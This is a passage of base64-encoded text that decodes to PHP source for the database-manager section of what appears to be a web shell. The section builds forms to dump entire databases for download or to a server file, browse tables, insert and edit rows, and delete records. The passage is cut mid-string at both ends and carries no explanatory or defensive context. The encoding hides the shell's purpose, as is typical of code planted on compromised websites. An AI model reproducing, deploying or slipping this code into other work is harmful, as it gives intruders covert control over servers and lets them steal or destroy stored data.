b2RlIFwiO1wiKSZuYnNwOzxiPjxzdXA+MTwvc3VwPjwvYj46PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJkbXB0YmxzXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiJcIiBzaXplPVwiIi4oc3RybGVuKCR2KSs1KS4iXCI+PGJyPjxicj4iOw0KICAgICAgICAgICAgaWYgKCRkdW1wX2ZpbGUpIHskdG1wID0gJGR1bXBfZmlsZTt9DQogICAgICAgICAgICBlbHNlIHskdG1wID0gaHRtbHNwZWNpYWxjaGFycygiLi9kdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kc3FsX2RiLiJfIi5kYXRlKCJkLW0tWS1ILWktcyIpLiIuc3FsIik7fQ0KICAgICAgICAgICAgZWNobyAiPGI+RmlsZTo8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF9kdW1wX2ZpbGVcIiB2YWx1ZT1cIiIuJHRtcC4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkdG1wKStzdHJsZW4oJHRtcCkgJSAzMCkuIlwiPjxicj48YnI+IjsNCiAgICAgICAgICAgIGVjaG8gIjxiPkRvd25sb2FkOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9kb3dubG9hZFwiIHZhbHVlPVwiMVwiIGNoZWNrZWQ+PGJyPjxicj4iOw0KICAgICAgICAgICAgZWNobyAiPGI+U2F2ZSB0byBmaWxlOiA8L2I+Jm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJzcWxfZHVtcF9zYXZldG9maWxlXCIgdmFsdWU9XCIxXCIgY2hlY2tlZD4iOw0KICAgICAgICAgICAgZWNobyAiPGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIG5hbWU9XCJzdWJtaXRcIiB2YWx1ZT1cIkR1bXBcIj48YnI+PGJyPjxiPjxzdXA+MTwvc3VwPjwvYj4gLSBhbGwsIGlmIGVtcHR5IjsNCiAgICAgICAgICAgIGVjaG8gIjwvZm9ybT4iOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRkaXBsYXkgPSBUUlVFOw0KICAgICAgICAgICAgJHNldCA9IGFycmF5KCk7DQogICAgICAgICAgICAkc2V0WyJzb2NrIl0gPSAkc3FsX3NvY2s7DQogICAgICAgICAgICAkc2V0WyJkYiJdID0gJHNxbF9kYjsNCiAgICAgICAgICAgICRkdW1wX291dCA9ICJkb3dubG9hZCI7DQogICAgICAgICAgICAkc2V0WyJwcmludCJdID0gMDsNCiAgICAgICAgICAgICRzZXRbIm5sMmJyIl0gPSAwOw0KICAgICAgICAgICAgJHNldFsiIl0gPSAwOw0KICAgICAgICAgICAgJHNldFsiZmlsZSJdID0gJGR1bXBfZmlsZTsNCiAgICAgICAgICAgICRzZXRbImFkZF9kcm9wIl0gPSBUUlVFOw0KICAgICAgICAgICAgJHNldFsib25seXRhYnMiXSA9IGFycmF5KCk7DQogICAgICAgICAgICBpZiAoIWVtcHR5KCRkbXB0YmxzKSkgeyRzZXRbIm9ubHl0YWJzIl0gPSBleHBsb2RlKCI7IiwkZG1wdGJscyk7fQ0KICAgICAgICAgICAgJHJldCA9IG15c3FsX2R1bXAoJHNldCk7DQogICAgICAgICAgICBpZiAoJHNxbF9kdW1wX2Rvd25sb2FkKSB7DQogICAgICAgICAgICAgIEBvYl9jbGVhbigpOw0KICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7DQogICAgICAgICAgICAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuc3RybGVuKCRyZXQpKTsNCiAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuYmFzZW5hbWUoJHNxbF9kdW1wX2ZpbGUpLiJcIjsiKTsNCiAgICAgICAgICAgICAgZWNobyAkcmV0Ow0KICAgICAgICAgICAgICBleGl0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZWlmICgkc3FsX2R1bXBfc2F2ZXRvZmlsZSkgew0KICAgICAgICAgICAgICAkZnAgPSBmb3Blbigkc3FsX2R1bXBfZmlsZSwidyIpOw0KICAgICAgICAgICAgICBpZiAoISRmcCkge2VjaG8gIjxiPkR1bXAgZXJyb3IhIENhbid0IHdyaXRlIHRvIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZHVtcF9maWxlKS4iXCIhIjt9DQogICAgICAgICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgICAgIGZ3cml0ZSgkZnAsJHJldCk7DQogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7DQogICAgICAgICAgICAgICAgZWNobyAiPGI+RHVtcGVkISBEdW1wIGhhcyBiZWVuIHdyaXRlZCB0byBcIiIuaHRtbHNwZWNpYWxjaGFycyhyZWFscGF0aCgkc3FsX2R1bXBfZmlsZSkpLiJcIiAoIi52aWV3X3NpemUoZmlsZXNpemUoJHNxbF9kdW1wX2ZpbGUpKS4iKTwvYj4uIjsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZSB7ZWNobyAiPGI+RHVtcDogbm90aGluZyB0byBkbyE8L2I+Ijt9DQogICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmICgkZGlwbGF5KSB7DQogICAgaWYgKCFlbXB0eSgkc3FsX3RibCkpIHsNCiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF94KSkgeyRzcWxfdGJsX3ggPSAiYnJvd3NlIjt9DQogICAgICAkY291bnQgPSBteXNxbF9xdWVyeSgiU0VMRUNUIENPVU5UKCopIEZST00gYCIuJHNxbF90YmwuImA7Iik7DQogICAgICAkY291bnRfcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJGNvdW50KTsNCiAgICAgIG15c3FsX2ZyZWVfcmVzdWx0KCRjb3VudCk7DQogICAgICAkdGJsX3N0cnVjdF9yZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSBgIi4kc3FsX3RibC4iYDsiKTsNCiAgICAgICR0Ymxfc3RydWN0X2ZpZWxkcyA9IGFycmF5KCk7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2Fzc29jKCR0Ymxfc3RydWN0X3Jlc3VsdCkpIHskdGJsX3N0cnVjdF9maWVsZHNbXSA9ICRyb3c7fQ0KICAgICAgaWYgKCRzcWxfbHMgPiAkc3FsX2xlKSB7JHNxbF9sZSA9ICRzcWxfbHMgKyAkcGVycGFnZTt9DQogICAgICBpZiAoZW1wdHkoJHNxbF90YmxfcGFnZSkpIHskc3FsX3RibF9wYWdlID0gMDt9DQogICAgICBpZiAoZW1wdHkoJHNxbF90YmxfbHMpKSB7JHNxbF90YmxfbHMgPSAwO30NCiAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9sZSkpIHskc3FsX3RibF9sZSA9IDMwO30NCiAgICAgICRwZXJwYWdlID0gJHNxbF90YmxfbGUgLSAkc3FsX3RibF9sczsNCiAgICAgIGlmICghaXNfbnVtZXJpYygkcGVycGFnZSkpIHskcGVycGFnZSA9IDEwO30NCiAgICAgICRudW1wYWdlcyA9ICRjb3VudF9yb3dbMF0vJHBlcnBhZ2U7DQogICAgICAkZSA9IGV4cGxvZGUoIiAiLCRzcWxfb3JkZXIpOw0KICAgICAgaWYgKGNvdW50KCRlKSA9PSAyKSB7DQogICAgICAgIGlmICgkZVswXSA9PSAiZCIpIHskYXNjX2Rlc2MgPSAiREVTQyI7fQ0KICAgICAgICBlbHNlIHskYXNjX2Rlc2MgPSAiQVNDIjt9DQogICAgICAgICR2ID0gIk9SREVSIEJZIGAiLiRlWzFdLiJgICIuJGFzY19kZXNjLiIgIjsNCiAgICAgIH0NCiAgICAgIGVsc2UgeyR2ID0gIiI7fQ0KICAgICAgJHF1ZXJ5ID0gIlNFTEVDVCAqIEZST00gYCIuJHNxbF90YmwuImAgIi4kdi4iTElNSVQgIi4kc3FsX3RibF9scy4iICwgIi4kcGVycGFnZS4iIjsNCiAgICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpIG9yIHByaW50KG15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICBlY2hvICI8aHIgc2l6ZT1cIjFcIiBub3NoYWRlPjxjZW50ZXI+PGI+VGFibGUgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfdGJsKS4iICgiLm15c3FsX251bV9maWVsZHMoJHJlc3VsdCkuIiBjb2xzIGFuZCAiLiRjb3VudF9yb3dbMF0uIiByb3dzKTwvYj48L2NlbnRlcj4iOw0KICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfeD1zdHJ1Y3R1cmVcIj5bPGI+IFN0cnVjdHVyZSA8L2I+XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfeD1icm93c2VcIj5bPGI+IEJyb3dzZSA8L2I+XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF94PXRibGR1bXAmdGhpc3RibD0xXCI+WzxiPiBEdW1wIDwvYj5dPC9hPiZuYnNwOyZuYnNwOyZuYnNwOyI7DQogICAgICBlY2hvICI8YSBocmVmPVwiIi4kc3FsX3N1cmwuInNxbF90Ymw9Ii51cmxlbmNvZGUoJHNxbF90YmwpLiImc3FsX3RibF94PWluc2VydFwiPlsmbmJzcDs8Yj5JbnNlcnQ8L2I+Jm5ic3A7XTwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOw0KICAgICAgaWYgKCRzcWxfdGJsX3ggPT0gInN0cnVjdHVyZSIpIHtlY2hvICI8YnI+PGJyPjxiPkNvbWluZyBzb29vbiE8L2I+Ijt9DQogICAgICBpZiAoJHNxbF90YmxfeCA9PSAiaW5zZXJ0Iikgew0KICAgICAgICBpZiAoIWlzX2FycmF5KCRzcWxfdGJsX2luc2VydCkpIHskc3FsX3RibF9pbnNlcnQgPSBhcnJheSgpO30NCiAgICAgICAgaWYgKCFlbXB0eSgkc3FsX3RibF9pbnNlcnRfcmFkaW8pKSB7ICB9IC8vTm90IFJlYWR5DQogICAgICAgIGVsc2Ugew0KICAgICAgICAgIGVjaG8gIjxicj48YnI+PGI+SW5zZXJ0aW5nIHJvdyBpbnRvIHRhYmxlOjwvYj48YnI+IjsNCiAgICAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkgew0KICAgICAgICAgICAgJHNxbF9xdWVyeSA9ICJTRUxFQ1QgKiBGUk9NIGAiLiRzcWxfdGJsLiJgIjsNCiAgICAgICAgICAgICRzcWxfcXVlcnkgLj0gIiBXSEVSRSIuJHNxbF90YmxfaW5zZXJ0X3E7DQogICAgICAgICAgICAkc3FsX3F1ZXJ5IC49ICIgTElNSVQgMTsiOw0KICAgICAgICAgICAgJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRzcWxfcXVlcnksJHNxbF9zb2NrKSBvciBwcmludCgiPGJyPjxicj4iLm15c3FsX3NtYXJ0ZXJyb3IoKSk7DQogICAgICAgICAgICAkdmFsdWVzID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7DQogICAgICAgICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgICAgICB9DQogICAgICAgICAgZWxzZSB7JHZhbHVlcyA9IGFycmF5KCk7fQ0KICAgICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48dGFibGUgd2lkdGg9XCIxJVwiIGJvcmRlcj0xPjx0cj48dGQ+PGI+RmllbGQ8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0ZD48Yj5GdW5jdGlvbjwvYj48L3RkPjx0ZD48Yj5WYWx1ZTwvYj48L3RkPjwvdHI+IjsNCiAgICAgICAgICBmb3JlYWNoICgkdGJsX3N0cnVjdF9maWVsZHMgYXMgJGZpZWxkKSB7DQogICAgICAgICAgICAkbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsNCiAgICAgICAgICAgIGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHskdiA9ICIiO30NCiAgICAgICAgICAgIGVjaG8gIjx0cj48dGQ+PGI+Ii5odG1sc3BlY2lhbGNoYXJzKCRuYW1lKS4iPC9iPjwvdGQ+PHRkPiIuJGZpZWxkWyJUeXBlIl0uIjwvdGQ+PHRkPjxzZWxlY3QgbmFtZT1cInNxbF90YmxfaW5zZXJ0X2Z1bmN0c1siLmh0bWxzcGVjaWFsY2hhcnMoJG5hbWUpLiJdXCI+PG9wdGlvbiB2YWx1ZT1cIlwiPjwvb3B0aW9uPjxvcHRpb24+UEFTU1dPUkQ8L29wdGlvbj48b3B0aW9uPk1ENTwvb3B0aW9uPjxvcHRpb24+RU5DUllQVDwvb3B0aW9uPjxvcHRpb24+QVNDSUk8L29wdGlvbj48b3B0aW9uPkNIQVI8L29wdGlvbj48b3B0aW9uPlJBTkQ8L29wdGlvbj48b3B0aW9uPkxBU1RfSU5TRVJUX0lEPC9vcHRpb24+PG9wdGlvbj5DT1VOVDwvb3B0aW9uPjxvcHRpb24+QVZHPC9vcHRpb24+PG9wdGlvbj5TVU08L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiXCI+LS0tLS0tLS08L29wdGlvbj48b3B0aW9uPlNPVU5ERVg8L29wdGlvbj48b3B0aW9uPkxDQVNFPC9vcHRpb24+PG9wdGlvbj5VQ0FTRTwvb3B0aW9uPjxvcHRpb24+Tk9XPC9vcHRpb24+PG9wdGlvbj5DVVJEQVRFPC9vcHRpb24+PG9wdGlvbj5DVVJUSU1FPC9vcHRpb24+PG9wdGlvbj5GUk9NX0RBWVM8L29wdGlvbj48b3B0aW9uPkZST01fVU5JWFRJTUU8L29wdGlvbj48b3B0aW9uPlBFUklPRF9BREQ8L29wdGlvbj48b3B0aW9uPlBFUklPRF9ESUZGPC9vcHRpb24+PG9wdGlvbj5UT19EQVlTPC9vcHRpb24+PG9wdGlvbj5VTklYX1RJTUVTVEFNUDwvb3B0aW9uPjxvcHRpb24+VVNFUjwvb3B0aW9uPjxvcHRpb24+V0VFS0RBWTwvb3B0aW9uPjxvcHRpb24+Q09OQ0FUPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IHR5cGU9XCJ0ZXh0XCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0WyIuaHRtbHNwZWNpYWxjaGFycygkbmFtZSkuIl1cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkdmFsdWVzWyRuYW1lXSkuIlwiIHNpemU9NTA+PC90ZD48L3RyPiI7DQogICAgICAgICAgICAkaSsrOw0KICAgICAgICAgIH0NCiAgICAgICAgICBlY2hvICI8L3RhYmxlPjxicj4iOw0KICAgICAgICAgIGVjaG8gIjxpbnB1dCB0eXBlPVwicmFkaW9cIiBuYW1lPVwic3FsX3RibF9pbnNlcnRfcmFkaW9cIiB2YWx1ZT1cIjFcIiI7IGlmIChlbXB0eSgkc3FsX3RibF9pbnNlcnRfcSkpIHtlY2hvICIgY2hlY2tlZCI7fSBlY2hvICI+PGI+SW5zZXJ0IGFzIG5ldyByb3c8L2I+IjsNCiAgICAgICAgICBpZiAoIWVtcHR5KCRzcWxfdGJsX2luc2VydF9xKSkge2VjaG8gIiBvciA8aW5wdXQgdHlwZT1cInJhZGlvXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3JhZGlvXCIgdmFsdWU9XCIyXCIgY2hlY2tlZD48Yj5TYXZlPC9iPiI7IGVjaG8gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxfaW5zZXJ0X3FcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibF9pbnNlcnRfcSkuIlwiPiI7fQ0KICAgICAgICAgIGVjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+IjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRzcWxfdGJsX3ggPT0gImJyb3dzZSIpIHsNCiAgICAgICAgJHNxbF90YmxfbHMgPSBhYnMoJHNxbF90YmxfbHMpOw0KICAgICAgICAkc3FsX3RibF9sZSA9IGFicygkc3FsX3RibF9sZSk7DQogICAgICAgIGVjaG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+IjsNCiAgICAgICAgZWNobyAiPGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9bXVsdGlwYWdlXCIgaGVpZ2h0PVwiMTJcIiB3aWR0aD1cIjEwXCIgYWx0PVwiUGFnZXNcIj4mbmJzcDsiOw0KICAgICAgICAkYiA9IDA7DQogICAgICAgIGZvcigkaT0wOyRpPCRudW1wYWdlczskaSsrKSB7DQogICAgICAgICAgaWYgKCgkaSokcGVycGFnZSAhPSAkc3FsX3RibF9scykgb3IgKCRpKiRwZXJwYWdlKyRwZXJwYWdlICE9ICRzcWxfdGJsX2xlKSkge2VjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibD0iLnVybGVuY29kZSgkc3FsX3RibCkuIiZzcWxfb3JkZXI9Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiImc3FsX3RibF9scz0iLigkaSokcGVycGFnZSkuIiZzcWxfdGJsX2xlPSIuKCRpKiRwZXJwYWdlKyRwZXJwYWdlKS4iXCI+PHU+Ijt9DQogICAgICAgICAgZWNobyAkaTsNCiAgICAgICAgICBpZiAoKCRpKiRwZXJwYWdlICE9ICRzcWxfdGJsX2xzKSBvciAoJGkqJHBlcnBhZ2UrJHBlcnBhZ2UgIT0gJHNxbF90YmxfbGUpKSB7ZWNobyAiPC91PjwvYT4iO30NCiAgICAgICAgICBpZiAoKCRpLzMwID09IHJvdW5kKCRpLzMwKSkgYW5kICgkaSA+IDApKSB7ZWNobyAiPGJyPiI7fQ0KICAgICAgICAgIGVsc2Uge2VjaG8gIiZuYnNwOyI7fQ0KICAgICAgICB9DQogICAgICAgIGlmICgkaSA9PSAwKSB7ZWNobyAiZW1wdHkiO30NCiAgICAgICAgZWNobyAiPGZvcm0gbWV0aG9kPVwiR0VUXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwieFwiIHZhbHVlPVwic3FsXCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX2RiXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9kYikuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9sb2dpblwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcG9ydFwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9ydCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF90YmxcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInNxbF9vcmRlclwiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfb3JkZXIpLiJcIj48Yj5Gcm9tOjwvYj4mbmJzcDs8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwic3FsX3RibF9sc1wiIHZhbHVlPVwiIi4kc3FsX3RibF9scy4iXCI+Jm5ic3A7PGI+VG86PC9iPiZuYnNwOzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJzcWxfdGJsX2xlXCIgdmFsdWU9XCIiLiRzcWxfdGJsX2xlLiJcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiVmlld1wiPjwvZm9ybT4iOw0KICAgICAgICBlY2hvICI8YnI+PGZvcm0gbWV0aG9kPVwiUE9TVFwiPjxUQUJMRSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9XCIxJVwiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+IjsNCiAgICAgICAgZWNobyAiPHRyPiI7DQogICAgICAgIGVjaG8gIjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHJvd19hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPiI7DQogICAgICAgIGZvciAoJGk9MDskaTxteXNxbF9udW1fZmllbGRzKCRyZXN1bHQpOyRpKyspIHsNCiAgICAgICAgICAkdiA9IG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSk7DQogICAgICAgICAgaWYgKCRlWzBdID09ICJhIikgeyRzID0gImQiOyAkbSA9ICJhc2MiO30NCiAgICAgICAgICBlbHNlIHskcyA9ICJhIjsgJG0gPSAiZGVzYyI7fQ0KICAgICAgICAgIGVjaG8gIjx0ZD4iOw0KICAgICAgICAgIGlmIChlbXB0eSgkZVswXSkpIHskZVswXSA9ICJhIjt9DQogICAgICAgICAgaWYgKCRlWzFdICE9ICR2KSB7ZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kZVswXS4iJTIwIi4kdi4iXCI+PGI+Ii4kdi4iPC9iPjwvYT4iO30NCiAgICAgICAgICBlbHNlIHtlY2hvICI8Yj4iLiR2LiI8L2I+PGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfdGJsPSIuJHNxbF90YmwuIiZzcWxfdGJsX2xlPSIuJHNxbF90YmxfbGUuIiZzcWxfdGJsX2xzPSIuJHNxbF90YmxfbHMuIiZzcWxfb3JkZXI9Ii4kcy4iJTIwIi4kdi4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c29ydF8iLiRtLiJcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGFsdD1cIiIuJG0uIlwiPjwvYT4iO30NCiAgICAgICAgICBlY2hvICI8L3RkPiI7DQogICAgICAgIH0NCiAgICAgIGVjaG8gIjx0ZD48Zm9udCBjb2xvcj1cImdyZWVuXCI+PGI+QWN0aW9uPC9iPjwvZm9udD48L3RkPiI7DQogICAgICBlY2hvICI8L3RyPiI7DQogICAgICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX0FTU09DKSkgew0KICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICR3ID0gIiI7DQogICAgICAgJGkgPSAwOw0KICAgICAgIGZvcmVhY2ggKCRyb3cgYXMgJGs9PiR2KSB7JG5hbWUgPSBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOyAkdyAuPSAiIGAiLiRuYW1lLiJgID0gJyIuYWRkc2xhc2hlcygkdikuIicgQU5EIjsgJGkrKzt9DQogICAgICAgaWYgKGNvdW50KCRyb3cpID4gMCkgeyR3ID0gc3Vic3RyKCR3LDAsc3RybGVuKCR3KS0zKTt9DQogICAgICAgZWNobyAiPHRkPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwiYm94cm93W11cIiB2YWx1ZT1cIiIuJHcuIlwiPjwvdGQ+IjsNCiAgICAgICAkaSA9IDA7DQogICAgICAgZm9yZWFjaCAoJHJvdyBhcyAkaz0+JHYpDQogICAgICAgew0KICAgICAgICAkdiA9IGh0bWxzcGVjaWFsY2hhcnMoJHYpOw0KICAgICAgICBpZiAoJHYgPT0gIiIpIHskdiA9ICI8Zm9udCBjb2xvcj1cImdyZWVuXCI+TlVMTDwvZm9udD4iO30NCiAgICAgICAgZWNobyAiPHRkPiIuJHYuIjwvdGQ+IjsNCiAgICAgICAgJGkrKzsNCiAgICAgICB9DQogICAgICAgZWNobyAiPHRkPiI7DQogICAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHNxbF9zdXJsLiJzcWxfeD1xdWVyeSZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF9xdWVyeT0iLnVybGVuY29kZSgiREVMRVRFIEZST00gYCIuJHNxbF90YmwuImAgV0hFUkUiLiR3LiIgTElNSVQgMTsiKS4iXCI+PGltZyBzcmM9XCIiLiRzdXJsLiJ4PWltZyZpbWc9c3FsX2J1dHRvbl9kcm9wXCIgYWx0PVwiRGVsZXRlXCIgaGVpZ2h0PVwiMTNcIiB3aWR0aD1cIjExXCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiOw0KICAgICAgIGVjaG8gIjxhIGhyZWY9XCIiLiRzcWxfc3VybC4ic3FsX3RibF94PWluc2VydCZzcWxfdGJsPSIudXJsZW5jb2RlKCRzcWxfdGJsKS4iJnNxbF90YmxfbHM9Ii4kc3FsX3RibF9scy4iJnNxbF90YmxfbGU9Ii4kc3FsX3RibF9sZS4iJnNxbF90YmxfaW5zZXJ0X3E9Ii51cmxlbmNvZGUoJHcpLiJcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1jaGFuZ2VcIiBhbHQ9XCJFZGl0XCIgaGVpZ2h0PVwiMTRcIiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4mbmJzcDsiOw0KICAgICAgIGVjaG8gIjwvdGQ+IjsNCiAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICB9DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgIGVjaG8gIjwvdGFibGU+PGhyIHNpemU9XCIxXCIgbm9zaGFkZT48cCBhbGlnbj1cImxlZnRcIj48aW1nIHNyYz1cIiIuJHN1cmwuIng9aW1nJmltZz1hcnJvd19sdHJcIiBib3JkZXI9XCIwXCI+PHNlbGVjdCBuYW1lPVwic3FsX3hcIj4iOw0KICAgICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPldpdGggc2VsZWN0ZWQ6PC9vcHRpb24+IjsNCiAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9XCJkZWxldGVyb3dcIj5EZWxldGU8L29wdGlvbj4iOw0KICAgICAgZWNobyAiPC9zZWxlY3Q+Jm5ic3A7PGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIkNvbmZpcm1cIj48L2Zvcm0+PC9wPiI7DQogICAgIH0NCiAgICB9DQogICAgZWxzZSB7DQogICAgICRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRSBTVEFUVVMiLCAkc3FsX3NvY2spOw0KICAgICBpZiAoISRyZXN1bHQpIHtlY2hvIG15c3FsX3NtYXJ0ZXJyb3IoKTt9DQogICAgIGVsc2UNCiAgICAgew0KICAgICAgZWNobyAiPGJyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIj48VEFCTEUgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnY29sb3I9IzAwMDAwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZD48aW5wdXQgdHlwZT1cImNoZWNrYm94XCIgbmFtZT1cImJveHRibF9hbGxcIiB2YWx1ZT1cIjFcIj48L3RkPjx0ZD48Y2VudGVyPjxiPlRhYmxlPC9iPjwvY2VudGVyPjwvdGQ+PHRkPjxiPlJvd3M8L2I+PC90ZD48dGQ+PGI+VHlwZTwvYj48L3RkPjx0ZD48Yj5DcmVhdGVkPC9iPjwvdGQ+PHRkPjxiPk1vZGlmaWVkPC9iPjwvdGQ+PHRkPjxiPlNpemU8L2I+PC90ZD48dGQ+PGI+QWN0aW9uPC